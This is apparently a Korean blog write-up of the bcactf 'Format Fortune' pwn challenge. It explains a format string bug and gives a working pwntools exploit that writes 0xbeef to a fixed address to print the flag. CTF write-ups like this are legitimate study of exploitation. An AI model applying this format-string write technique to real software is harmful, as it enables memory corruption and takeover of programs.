-
[bcactf] Format FortuneCTF/pwn 2022. 6. 8. 18:02
소스코드이다. 15번째 줄에서 fsb가 발생한다.
그리고 19번째 줄에서 magic의 값이 0xbeef이면 플래그를 출력해준다.
magic의 위치는 0x40408c이다.
PIE가 없기에 주소를 알아낼 필요는 없을 것 같다
입력 받는 배열의 위치는 6번째(0x4141...)에 있다.
이를 바탕으로 진행해보자.
32비트와 64비트 모두에서 fsb가 발생하지만 64비트에서는 약간의 차이점이 있다
64비트에서는 8바이트씩 데이터를 넣기 때문에 주소값을 입력할 때 NULL(\x00)이 들어간다
이것은 입력 때는 문제 없이 들어가지만 NULL까지 출력하는 printf 특징 때문에 NULL 뒤에 나올 코드가 실행이 되지 않는다.
그래서 위처럼 쓸 수 있는 코드를
위처럼 바꿔줘야 한다.
bbbbb를 넣어주는 이유는 8의 배수로 입력해주기 위해서이다.
실제로 들어간 입력값을 gdb로 확인해보면
0x40408c 주소값이 잘 들어간 것을 확인할 수 있다.
from pwn import * p = remote('bin.bcactf.com', 49175) #p = process('./format-fortune') e = ELF('./format-fortune') #6th payload = b'%48879c%8$n' payload += b'bbbbb' payload += p64(0x40408c) p.sendlineafter(b'name?', payload) p.interactive()
entire payload
'CTF > pwn' 카테고리의 다른 글
[GDG] MindGame (부제: 파이썬에서 c 함수 실행시키기) (0) 2022.10.10 [bcactf] Got libc? (0) 2022.06.08 [bcactf] Jump Rope (0) 2022.06.08 [bcactf] BOF Shop (0) 2022.06.08 [b01lers ] gambler-overflow (0) 2022.05.08